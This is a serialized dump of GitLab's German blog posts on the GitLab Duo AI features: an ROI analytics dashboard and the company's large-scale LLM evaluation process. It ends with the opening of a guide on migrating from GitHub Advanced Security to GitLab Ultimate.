es weiter?\n\nWir werden weiter KI in unsere Workflows integrieren und die Funktionen von GitLab Duo basierend auf internem Feedback und neuen Bedürfnissen kontinuierlich verbessern. Die fortlaufende Erfassung von Anwendungsfällen und Metriken mit dem [KI-Impact-Analyse-Dashboard](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/) wird zu Verbesserungen führen und sicherstellen, dass GitLab Duo an der Spitze der KI-gesteuerten Entwicklungs-Tools bleibt.\n\n![Dogfooding Duo – KI-Analyse-Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098367547.png)\n\n> [Lege noch heute los mit unserer kostenlosen Testversion von GitLab Duo.](https://about.gitlab.com/de-de/gitlab-duo/#free-trial)\n\n## Erfahre mehr zur „Entwicklung von GitLab Duo\n\n- [Entwicklung von GitLab Duo: KI-Impact-Analyse-Dashboard misst den ROI von KI](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Entwicklung von GitLab Duo: Wie wir KI-Modelle in großem Maßstab validieren und testen](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)",[679,1404,745,746,974],{"slug":3225,"featured":92,"template":682},"developing-gitlab-duo-how-we-are-dogfooding-our-ai-features","content:de-de:blog:developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","Developing Gitlab Duo How We Are Dogfooding Our Ai Features","de-de/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","de-de/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"_path":3231,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3232,"content":3238,"config":3245,"_id":3247,"_type":16,"title":3248,"_source":17,"_file":3249,"_stem":3250,"_extension":20},"/de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"ogTitle":3233,"schema":3234,"ogImage":3235,"ogDescription":3236,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3237,"title":3233,"canonicalUrls":3237,"description":3236},"GitLab Duo: KI-Impact-Analyse-Dashboard misst den ROI von KI","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Entwicklung von GitLab Duo: KI-Impact-Analyse-Dashboard misst den ROI von KI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2024-05-15\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098611/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098611370.png","In unserem Blog stellen wir eine neue Funktion vor, mit der du die Effektivität deiner Investitionen in die KI besser nachvollziehen kannst. Dies wird durch detaillierte Metriken wie die Nutzungsquote von Codevorschlägen ermöglicht.","https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"title":3239,"description":3236,"authors":3240,"heroImage":3235,"date":3242,"body":3243,"category":677,"tags":3244},"Entwicklung von GitLab Duo: KI-Impact-Analyse-Dashboard misst den ROI von KI",[3241],"Haim Snir","2024-05-15","***Generative KI bedeutet einen monumentalen Wandel in der Softwareentwicklungsbranche, da sie es einfacher macht, Software zu entwickeln, zu sichern und zu betreiben. Unsere neue Blog-Serie von unseren Produkt- und Entwicklungsteams gibt einen Einblick darin, wie wir die KI-Funktionen erstellen, testen und bereitstellen, die in deinem Unternehmen benötigt werden. Lerne neue Funktionen innerhalb von GitLab Duo kennen und wie sie DevSecOps-Teams dabei helfen werden, bessere Ergebnisse für Kund(inn)en zu erzielen.***\n\nWenn Unternehmen [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/), unsere Suite von KI-Funktionen zur Unterstützung von DevSecOps-Workflows, einführen, benötigen Führungskräfte aus Wirtschaft und Technik einen Echtzeit-Überblick über den ROI der Technologie. Granulare Nutzungsdaten, Leistungsverbesserungen, der Kompromiss zwischen Geschwindigkeit, Sicherheit und Qualität und andere [Produktivitätsmetriken](https://about.gitlab.com/blog/measuring-ai-effectiveness-beyond-developer-productivity-metrics/) sind unerlässlich, um die Effektivität von KI in der Softwareentwicklung zu bewerten. Aus diesem Grund haben wir das KI-Impact-Analyse-Dashboard für GitLab Duo erstellt, das ab GitLab 17.0 verfügbar ist, um den ROI von KI zu messen.\n\n> Live-Demo! Entdecke die Zukunft der KI-gesteuerten Softwareentwicklung mit unserem virtuellen Launch-Event für GitLab 17. [Registriere dich noch heute](https://about.gitlab.com/seventeen/)!\n\n## Den ROI der KI-gestützten Funktionen von GitLab Duo verstehen\n\nUnternehmen haben uns in Bezug auf die Auswirkungen von KI auf den Lebenszyklus der Softwareentwicklung ihre Wünsche mitgeteilt:\n- Visualisieren der Metriken, die sich durch die Investitionen in KI verbessert haben.\n- Vergleich der Leistung von Teams, die KI einsetzen, mit Teams, die keine KI einsetzen.\n- Verfolgen des Fortschritts bei der Einführung von KI.\n- Automatisieren der Erkenntnisgewinnung aus einer großen Menge von Leistungsdaten.\n\nDas KI-Impact-Analyse-Dashboard bietet diese und weitere Funktionen mit anpassbarer Visualisierung. Teams können damit Folgendes tun:\n- **Überwachen der KI-Einführung:** Die Überwachung der Einführungsrate von KI ermöglicht es Unternehmen, ihre Strategien zu bewerten, um den ROI ihrer Technologieinvestitionen zu maximieren. \n- **Verfolgen von Leistungsverbesserungen:** Durch die Verfolgung von Metriken und die Beobachtung von Veränderungen nach der Einführung von KI können Führungskräfte die Vorteile und den geschäftlichen Wert von KI-Funktionen rasch beurteilen.\n\n## Was ist das KI-Impact-Analyse-Dashboard?\n\nIn dieser ersten Version des KI-Impact-Analyse-Dashboards konzentrieren wir uns auf die Bereitstellung von Einblicken und Metriken für die Akzeptanz von GitLab Duo Codevorschlägen, einschließlich:\n\n- **Detaillierte Nutzungsmetriken:** Ermittle das Verhältnis zwischen der monatlichen Nutzung von Codevorschlägen und der Gesamtzahl der Mitwirkenden, um herauszufinden, wie stark Codevorschläge in deinen Teams angenommen werden.\n- **Korrelationsbeobachtungen:** Untersuche, wie sich die Entwicklung der KI-Nutzung im aktuellen Monat und über die letzten sechs Monate auf andere wichtige Metriken eines Projekts oder einer Gruppe auswirkt. \n    - Für diese Korrelationsanalyse haben wir die neue Metrik „Nutzungsquote von Codevorschlägen“ als unabhängige Variable (die Ursache) hinzugefügt. Die monatliche Nutzungsrate von Codevorschlägen errechnet sich aus der Anzahl der monatlich eindeutigen Benutzer(innen), die Codevorschläge verwenden, geteilt durch die Gesamtzahl der monatlich eindeutigen [Mitwirkenden](https://docs.gitlab.com/ee/user/profile/contributions_calendar.html#user-contribution-events). GitLab betrachtet hierbei die Summe der monatlichen eindeutigen Code-Mitwirkenden, d. h. nur Benutzer(innen), die Ereignisse gepusht haben, werden in die Berechnung einbezogen.\n    - Als abhängige Variable (den Effekt) haben wir die folgenden [Leistungsmetriken](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports) hinzugefügt: Bearbeitungszeit, Abarbeitungsdauer und Häufigkeit der Bereitstellung. Und die [Qualitäts- und Sicherheitsmetriken](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports) sind die Änderungsfehlerrate und kritische Sicherheitslücken. \n- **Vergleichsansicht:**  Erfasse den Leistungsunterschied zwischen Teams, die KI einsetzen, und solchen, die sie nicht einsetzen, und finde einen Kompromiss zwischen Geschwindigkeit, Qualität und Sicherheitsrisiko.\n\n![Vergleich von KI-Nutzung und SDLC-Leistung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098620998.png)\n\n## Wie geht es weiter mit dem KI-Impact-Analyse-Dashboard?\n\nWir haben große Pläne, um die Möglichkeiten des KI-Impact-Analyse-Dashboards zu erweitern. Hier sind einige der Highlights:\n\n1. Neue Kachelvisualisierungen wie „GitLab Duo-Plätze: Zugewiesen und genutzt“, „Codevorschläge: Übernahmequote %“ und „GitLab Duo Chat: Eindeutige Benutzer(innen)“, um einen tieferen Einblick in das Nutzungsverhalten von GitLab Duo zu erhalten.\n\n![KI-Impact-Analyse-Dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-07-17_at_12.50.31_aHR0cHM6_1750098620999.png)\n\n2. Ein neues Vergleichsbalkendiagramm, mit dem du beobachten kannst, wie Veränderungen in einer Metrik mit Veränderungen in anderen Metriken korrelieren:\n\n![KI-Impact-Vergleichsbalkendiagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098621000.png)\n\n3. KI-Statistiken im [Bericht zur Beitragsanalyse](https://docs.gitlab.com/ee/user/group/contribution_analytics/index.html), um zu verstehen, wie Benutzer(innen) mit KI-Funktionen interagieren. Ermittle, welche Benutzer(innen) KI-Funktionen nutzen und ob sich ihre Leistung im Laufe der Zeit verändert hat:\n\n![Bericht zur Beitragsanalyse](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098621001.png)\n\n## Lege noch heute los\n\nWir sind vom Potential des KI-Impact-Analyse-Dashboard begeistert. Es zeigt nicht nur die realen Geschäftsergebnisse der KI auf, sondern fördert auch fundierte Entscheidungen über den zukünftigen Einsatz von KI zur Optimierung des DevSecOps-Lebenszyklus. Weitere Informationen über die nächsten Schritte und die Möglichkeit, Feedback zu geben oder Fragen zu stellen, findest du in unserem [KI-Impact-Analyse-Dashboard Epic](https://gitlab.com/groups/gitlab-org/-/epics/12978).\n\nStarte noch heute deine [kostenlose Testversion von GitLab Duo und dem KI-Impact-Analyse-Dashboard](https://about.gitlab.com/de-de/gitlab-duo/#free-trial).\n\n## Weitere Artikel aus der Serie „Entwicklung von GitLab Duo“\n\n- [Entwicklung von GitLab Duo: Wie wir KI-Modelle im großen Maßstab validieren und testen](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Entwicklung von GitLab Duo: Wie wir unsere KI-Funktionen selbst verwenden (dogfooding)](https://about.gitlab.com/de-de/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n\n_Haftungsausschluss: Dieser Blog enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen in diesem Blogbeitrag nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die in diesem Blog und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab._",[679,850,745],{"slug":3246,"featured":92,"template":682},"developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai","content:de-de:blog:developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","Developing Gitlab Duo Ai Impact Analytics Dashboard Measures The Roi Of Ai","de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","de-de/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"_path":3252,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3253,"content":3258,"config":3264,"_id":3266,"_type":16,"title":3267,"_source":17,"_file":3268,"_stem":3269,"_extension":20},"/de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"ogTitle":3254,"schema":3255,"ogImage":674,"ogDescription":3256,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3257,"title":3254,"canonicalUrls":3257,"description":3256},"GitLab Duo – Wie wir LLMs validieren & testen","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Entwicklung von GitLab Duo: Wie wir KI-Modelle im großen Maßstab validieren und testen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"}],\n        \"datePublished\": \"2024-05-09\",\n      }","Unsere Blog-Serie beginnt mit einem Blick hinter die Kulissen, wie wir LLMs evaluieren, sie an Anwendungsfälle anpassen und sie optimieren, um bessere Ergebnisse für die Benutzer(innen) zu erzielen.","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"title":3259,"description":3256,"authors":3260,"heroImage":674,"date":3261,"body":3262,"category":677,"tags":3263},"Entwicklung von GitLab Duo: Wie wir KI-Modelle im großen Maßstab validieren und testen",[1990],"2024-05-09","**_Generative KI markiert einen monumentalen Wandel in der Softwareentwicklungsbranche, der es einfacher macht, Software zu entwickeln, sicherer zu machen und sie zu betreiben. Unsere neue Blog-Serie von unseren Produkt- und Entwicklungsteams gibt einen Einblick darin, wie wir die KI-Funktionen erstellen, testen und bereitstellen, die in deinem Unternehmen benötigt werden. Lerne neue Funktionen innerhalb von GitLab Duo kennen und wie sie DevSecOps-Teams dabei helfen, bessere Ergebnisse für Kund(inn)en zu erzielen._**\n\nGitLab schätzt das Vertrauen unserer Kund(inn)en in uns. Ein Teil der Aufrechterhaltung dieses Vertrauens ist die Transparenz darüber, wie wir die hochwertige Funktionalität unserer [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) KI-Funktionen erstellen, bewerten und gewährleisten. Die Funktionen von GitLab Duo basieren auf einer Vielzahl von Modellen, die es uns ermöglichen, eine Vielzahl von Anwendungsfällen zu unterstützen und unseren Kund(inn)en Flexibilität zu bieten. GitLab ist von vornherein nicht an einen einzigen Modellanbieter gebunden. Wir verwenden derzeit Foundation-Modelle von [Google](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/vertex_text.py?ref_type=heads#L86) und [Anthropic](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/anthropic.py?ref_type=heads#L62). Wir wägen jedoch kontinuierlich ab, welche Modelle für die Anwendungsfälle von GitLab Duo geeignet sind. In diesem Artikel geben wir einen Einblick in unseren Validierungsprozess für KI-Modelle.\n\n## Was sind LLMs\n\nUmfangreiche Sprachmodelle (Large language models, LLMs) sind generative KI-Modelle, die viele KI-Funktionen innerhalb der GitLab Plattform unterstützen. LLMs wurden mit riesigen Datensätzen trainiert und prognostizieren das nächste Wort in einer Sequenz basierend auf dem vorhergehenden Kontext. Als Antwort auf eine Eingabe (Prompt) von Benutzer(innen) erzeugen sie Text, der der Antwort eines Menschen ähnelt, indem sie abhängig vom Prompt aus der Wahrscheinlichkeitsverteilung von Wörtern ein Muster wiedergeben.\n\nLLMs ermöglichen es, intelligente Codevorschläge, Konversations-Chatbots, Code-Erklärungen, Analysen von Sicherheitslücken und mehr umzusetzen. Ihre Fähigkeit, für einen bestimmten Prompt unterschiedliche Antworten zu erzeugen, macht eine standardisierte Qualitätsbewertung schwierig. Da LLMs für verschiedene Eigenschaften optimiert werden können, werden so viele unterschiedliche KI-Modelle aktiv entwickelt.\n\n## Testen im großen Maßstab\n\nIm Gegensatz zu herkömmlichen Softwaresystemen, bei denen Ein- und Ausgaben einfacher definiert und getestet werden können, erzeugen LLMs Ausgaben, die oft nuanciert, vielfältig und kontextabhängig sind. Um diese Modelle zu testen, sind umfassende Strategien erforderlich, die die subjektiven und variablen Interpretationen von Qualität sowie die stochastische Natur ihrer Ergebnisse berücksichtigen. Wir können daher die Qualität der Ergebnisse eines LLM nicht individuell oder anekdotisch beurteilen. Stattdessen müssen wir in der Lage sein, das Gesamtmuster des Verhaltens eines LLM zu untersuchen. Um ein Gefühl für diese Muster zu bekommen, müssen wir in großem Maßstab testen. Darunter versteht man den Prozess der Bewertung der Leistung, Zuverlässigkeit und Robustheit eines Systems oder einer Anwendung über eine große und vielfältige Anzahl von Datensätzen und Anwendungsfällen. Unser [Centralized Evaluation Framework (CEF)](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/) verwendet Tausende von Prompts, die mit Dutzenden von Anwendungsfällen verknüpft sind, um signifikante Muster zu identifizieren und das Gesamtverhalten unserer grundlegenden LLMs und der GitLab Duo-Funktionen, in die sie integriert sind, zu bewerten.\n\nTesten im großen Maßstab hilft uns bei der:\n\n- **Gewährleistung von Qualität:** Durch Tests im großen Maßstab können wir die Qualität und Zuverlässigkeit dieser Modelle in einer Vielzahl von Szenarien und Inputs bewerten. Indem wir die Ergebnisse dieser Modelle in großem Maßstab validieren, können wir Muster identifizieren und potenzielle Probleme wie systematische Verzerrungen, Anomalien und Ungenauigkeiten abmildern.\n- **Optimierung der Leistung:** Die Intensivierung der Tests ermöglicht es GitLab, die Leistung und Effizienz von LLMs unter realen Bedingungen zu beurteilen. Dazu gehört die Bewertung von Faktoren wie Ausgabequalität, Latenz und der Kosten für die Optimierung der Bereitstellung und des Einsatzes dieser Modelle in GitLab Duo-Funktionen.\n- **Minderung von Risiken:** Das Testen von LLMs im großen Maßstab trägt dazu bei, die mit der Bereitstellung von LLMs in kritischen Anwendungen verbundenen Risiken zu mindern. Durch gründliche Tests über verschiedene Datensätze und Anwendungsfälle hinweg können wir potenzielle Fehlermodi, Sicherheitslücken und ethische Bedenken identifizieren und diese adressieren und beheben, bevor sie sich auf unsere Kund(inn)en auswirken.\n\nDas Testen von LLMs im großen Maßstab ist unerlässlich, um ihre Zuverlässigkeit und Robustheit für ihre Bereitstellung innerhalb der GitLab-Plattform sicherzustellen. Durch die Investition in umfassende Teststrategien, die verschiedene Datensätze, Anwendungsfälle und Szenarien umfassen, arbeitet GitLab daran, das volle Potenzial von KI-gestützten Workflows auszuschöpfen und gleichzeitig potenzielle Risiken zu mindern.\n\n### Wie wir in großem Maßstab testen\n\nDies sind die notwendigen Schritte, um LLMs in großem Maßstab zu testen.\n\n#### Schritt 1: Erstellen einer Prompt-Bibliothek als Proxy für die Produktion\nWährend andere Unternehmen Kundendaten einsehen und verwenden, um ihre KI-Funktionen zu trainieren, tut GitLab dies derzeit nicht.  Deshalb mussten wir eine umfassende Prompt-Bibliothek entwickeln, die sowohl den Umfang als auch die Aktivität der Produktionsumgebung abbildet.\n\nDiese Prompt-Bibliothek besteht aus Fragen und Antworten. Die Fragen stellen die Art von Abfragen oder Eingaben dar, die wir in der Produktionsumgebung erwarten würden, während die Antworten eine Grundwahrheit darüber darstellen, was unsere ideale Antwort wäre. Diese Referenzantwort könnte auch als Zielantwort formuliert werden. Sowohl die Frage als auch die Antwort können, aber müssen nicht von Menschen generiert werden. Diese Frage-Antwort-Paare geben uns eine Vergleichsbasis und einen Bezugsrahmen, mit dem wir die Unterschiede zwischen Modellen und Funktionen herausarbeiten können. Wenn mehreren Modellen dieselbe Frage gestellt wird und sie unterschiedliche Antworten erzeugen, können wir anhand unserer Referenzantwort feststellen, welches Modell eine Antwort gegeben hat, die unserem Ziel am nächsten kommt, und sie entsprechend bewerten.\n\nAuch hier ist ein zentrales Element einer umfassenden Prompt-Bibliothek, dass sie repräsentativ für die Eingaben ist, die wir in der Produktionsumgebung erwarten. Wir möchten wissen, wie gut die grundlegenden Modelle zu unserem spezifischen Anwendungsfall passen und wie gut unsere Funktionen funktionieren. Es gibt zahlreiche Datensätze mit Benchmark-Prompts, aber diese Datensätze spiegeln möglicherweise nicht die Anwendungsfälle wider, die wir bei GitLab annehmen. Unsere Prompt-Bibliothek ist so konzipiert, dass sie speziell auf die Funktionen und Anwendungsfälle von GitLab zugeschnitten ist.\n\n#### Schritt 2: Leistung des Basismodells\n\nSobald wir eine Prompt-Bibliothek erstellt haben, die die Produktionsaktivitäten genau widerspiegelt, geben wir diese Fragen in [verschiedene Modelle](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/foundation_models/) ein, um zu testen, wie gut sie den Bedürfnissen unserer Kund(inn)en entsprechen. Wir vergleichen jede Antwort mit unserer Grundwahrheit und reihen sie in eine Rangfolge ein, die auf einer Reihe von Metriken basiert, wie zum Beispiel: [Cosine Similarity Score](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#similarity-scores), [Cross Similarity Score](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#cross-similarity-score),  [LLM Judge](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#llm-judge), und [Consensus Filtering mit LLM Judge](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/#consensus-filtering-with-llm-judge). Diese erste Iteration liefert uns einen Anhaltspunkt dafür, wie gut die einzelnen Modelle abschneiden, und hilft uns bei der Auswahl eines grundlegenden Modells für unsere Einsatzbereiche. Um uns kurz zu fassen, werden wir hier nicht ins Detail gehen, aber du kannst [hier mehr über die Metriken erfahren](https://about.gitlab.com/direction/ai-powered/ai_framework/ai_evaluation/metrics/). Es ist wichtig zu wissen, dass dieses Problem nicht gelöst ist. Die KI-Branche forscht aktiv an neuen Techniken und entwickelt sie weiter. Das Modellvalidierungsteam von GitLab behält die Branche im Auge und arbeitet ständig daran, wie wir die von GitLab Duo verwendeten LLMs prüfen und bewerten.\n\n#### Schritt 3: Funktionsentwicklung\n\nJetzt, da wir eine Grundlage für die Leistung unseres ausgewählten Modells haben, können wir mit den gewonnen Daten unsere Plattform weiterentwickeln. Prompt-Engineering ist zwar sehr populär, aber wenn man sich ausschließlich darauf konzentriert, das Verhalten eines Modells durch Prompting (oder eine andere Technik) zu verändern, ohne es zu validieren, stochert man im Dunkeln und passt sein Prompting sehr wahrscheinlich zu stark an. Man löst vielleicht ein Problem, aber verursacht ein Dutzend andere. Und es würde wahrscheinlich nie auffallen. Wenn wir eine Grundlinie für die Leistung eines Modells festlegen, können wir verfolgen, wie sich das Verhalten im Laufe der Zeit für alle notwendigen Anwendungsfälle verändert. Bei GitLab überprüfen wir die Leistung unserer GitLab Duo Funktionen während der aktiven Entwicklung täglich neu, um sicherzustellen, dass alle Änderungen die Gesamtfunktionalität verbessern.\n\n#### Schritt 4: Iterieren, iterieren, iterieren\n\nUnsere experimentellen Iterationen funktionieren wie folgt: In jedem Durchgang untersuchen wir die Ergebnisse unserer Tests im großen Maßstab, um Muster zu erkennen:\n\n- Was haben unsere schwächsten Bereiche gemeinsam?\n- Verhält sich unsere Funktion für eine bestimmte Metrik oder in einem bestimmten Anwendungsfall ungünstig?\n- Gibt es bei bestimmten Fragen immer wieder dieselben Fehler?\n\nSolche Muster tauchen nur dann auf, wenn wir in großem Maßstab testen, und nur so können wir unsere Experimente optimieren. Auf der Grundlage dieser Muster schlagen wir verschiedene Experimente oder Ansätze vor, um die Leistung in einem bestimmten Bereich und für eine bestimmte Metrik zu verbessern.\n\nTesten im großen Maßstab ist jedoch sowohl teuer als auch zeitaufwendig. Um eine schnellere und kostengünstigere Iteration zu ermöglichen, erstellen wir einen kleineren Datensatz, der als Mini-Proxy fungiert. Die begrenzte Teilmenge wird so gewichtet, dass sie genau die Frage-Antwort-Paare enthält, die wir verbessern möchten. Die erweiterte Teilmenge enthält auch eine Auswahl aller anderen Anwendungsfälle und Bewertungen, um sicherzustellen, dass sich unsere Änderungen nicht nachteilig auf die allgemeine Funktionalität auswirken. Wir nehmen also Änderungen vor und überprüfen sie gegen eine begrenzte Teilmenge der Daten. Wie sieht die neue Antwort im Vergleich zur Ausgangslage aus? Wie verhält es sich mit der Grundwahrheit?\n\nSobald wir einen Prompt gefunden haben, der sich auf den spezifischen Anwendungsfall bezieht, an dem wir gerade mit der begrenzten Teilmenge arbeiten, validieren wir diesen Prompt anhand einer erweiterten Teilmenge von Daten, um sicherzustellen, dass er sich nicht nachteilig auf andere Bereiche auswirkt. Nur wenn wir durch die Validierungsmetriken der Meinung sind, dass der neue Prompt unsere Leistung in unserem Zielbereich verbessert UND die Leistung an anderer Stelle nicht verschlechtert, setzen wir diese Änderung in der Produktionsumgebung um.\n\nDas gesamte Centralized Evaluation Framework wird dann mit dem neuen Prompt ausgeführt und wir überprüfen, ob die Leistung der gesamten Funktionalität gegenüber der Ausgangssituation vom Vortag verbessert wurde. Auf diese Weise stellt GitLab durch ständige Iterationen sicher, dass du im gesamten GitLab-Ökosystem die neueste und beste Leistung der KI-gestützten Funktionen erhältst. So können wir sicherstellen, dass wir gemeinsam immer schneller arbeiten.\n\n### GitLab Duo noch besser machen\n\nWir hoffen, dass wir dir hiermit einen Einblick geben konnten, wie wir die Funktionen von GitLab Duo verantwortungsvoll entwickeln. Dieser Prozess wurde entwickelt, um [GitLab Duo Codevorschläge](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/) und [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) allgemein verfügbar zu machen. Wir haben diesen Validierungsprozess auch in unseren Entwicklungsprozess integriert, wenn wir die Funktionen von GitLab Duo weiterentwickeln. Es bedeutet unzählige Versuche und Fehlschläge, und oft macht die Korrektur eines Punkts drei andere kaputt. Aber wir erhalten dabei auch datengestützte Einblicke in diese Auswirkungen und können so sicherstellen, dass GitLab Duo immer besser wird.\n\n> Starte noch heute deine [kostenlose Testversion von GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial)!\n\n\u003Cfigure class=video_container>\n\u003Ciframe width=560 height=315 src=\"https://www.youtube-nocookie.com/embed/LifJdU3Qagw?si=A4kl6d32wPYC4168\" title=\"YouTube video player\" frameborder=0 allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\">\u003C/iframe>\n\u003C/figure>",[679,787,746,745,1117],{"slug":3265,"featured":92,"template":682},"developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale","content:de-de:blog:developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","Developing Gitlab Duo How We Validate And Test Ai Models At Scale","de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","de-de/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"_path":3271,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3272,"content":3278,"config":3286,"_id":3288,"_type":16,"title":3289,"_source":17,"_file":3290,"_stem":3291,"_extension":20},"/de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"ogTitle":3273,"schema":3274,"ogImage":3275,"ogDescription":3276,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3277,"title":3273,"canonicalUrls":3277,"description":3276},"GitLab Ultimate vs GitHub Security: Vergleich & Migration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migrationsleitfaden: GitHub Advanced Security zu GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-05-01\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","GitLab Ultimate vs GitHub Security 2025: Vergleiche Features, Preise und Vorteile. Plus Schritt-für-Schritt-Anleitung für deine erfolgreiche Migration.","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"heroImage":3275,"body":3279,"authors":3280,"updatedDate":1343,"date":3281,"title":3282,"tags":3283,"description":3285,"category":765},"GitLab ist die umfassendste KI-gestützte DevSecOps-Plattform. Unternehmen\nkönnen mit dieser Plattform für den gesamten Lebenszyklus der\nSoftwareentwicklung (SDLC) sicherere Software schneller bereitstellen. \n\n\nGitHub bietet eine Advanced Security-Erweiterung, die zusätzliche Sicherheitsfunktionen in GitHub ermöglicht. Es fehlen jedoch die Tiefe und Breite der Sicherheitsfunktionen, die GitLab nativ bereitstellt. \n\n\nUnternehmen, die auf GitLab Ultimate migrieren möchten, um ihre Sicherheit in allen Bereichen des SDLC zu verbessern, können diesen Leitfaden verwenden, um die beiden Angebote zu vergleichen. Er kann auch als Tutorial für den Wechsel zur GitLab-Plattform genutzt werden.\n\n\n**Hinweis**: Dieser Artikel wurde zuletzt im Juni 2025 aktualisiert, um die neuesten Änderungen in GitHubs Produktstrategie zu berücksichtigen.\n\n\nIn diesem Artikel findest du folgende Kapitel:\n\n\n– [Ein Vergleich zwischen GitLab Ultimate und GitHub Advanced Security](#a-comparison-between-gitlab-ultimate-and-github-advanced-security)\n\n– [So migrierst du ein GitHub-Repository zu GitLab](#how-to-migrate-a-github-repository-to-gitlab)\n\n– [So migrierst du Feature für Feature von GitHub Advanced Security zu GitLab Ultimate](#how-to-migrate-feature-by-feature)\n\n– [Eine Einführung in die zusätzlichen Sicherheitsfunktionen von GitLab Ultimate](#additional-gitlab-ultimate-security-features)\n\n\n## Ein Vergleich zwischen GitLab Ultimate und GitHub Advanced Security\n\n\n[GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) ist die höchste Abonnementstufe von GitLab für Unternehmen, die sichere Software schneller bereitstellen möchten. GitHub Advanced Security ist eine Erweiterung für GitHub Enterprise und ermöglicht zusätzliche Sicherheitsfunktionen.\n\n\n\\### Ähnlichkeiten zwischen GitLab Ultimate und GitHub Advanced Security\n\n\nGitLab Ultimate und GitHub Advanced Security bieten:\n\n– Statische Anwendungssicherheitstests ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), Geheimnis- und Abhängigkeitssuche\n\n– kontextbezogene Intelligenz von Sicherheitslücken und Lösungsberatung \n\n– eine Liste von Abhängigkeiten oder Software-Stückliste 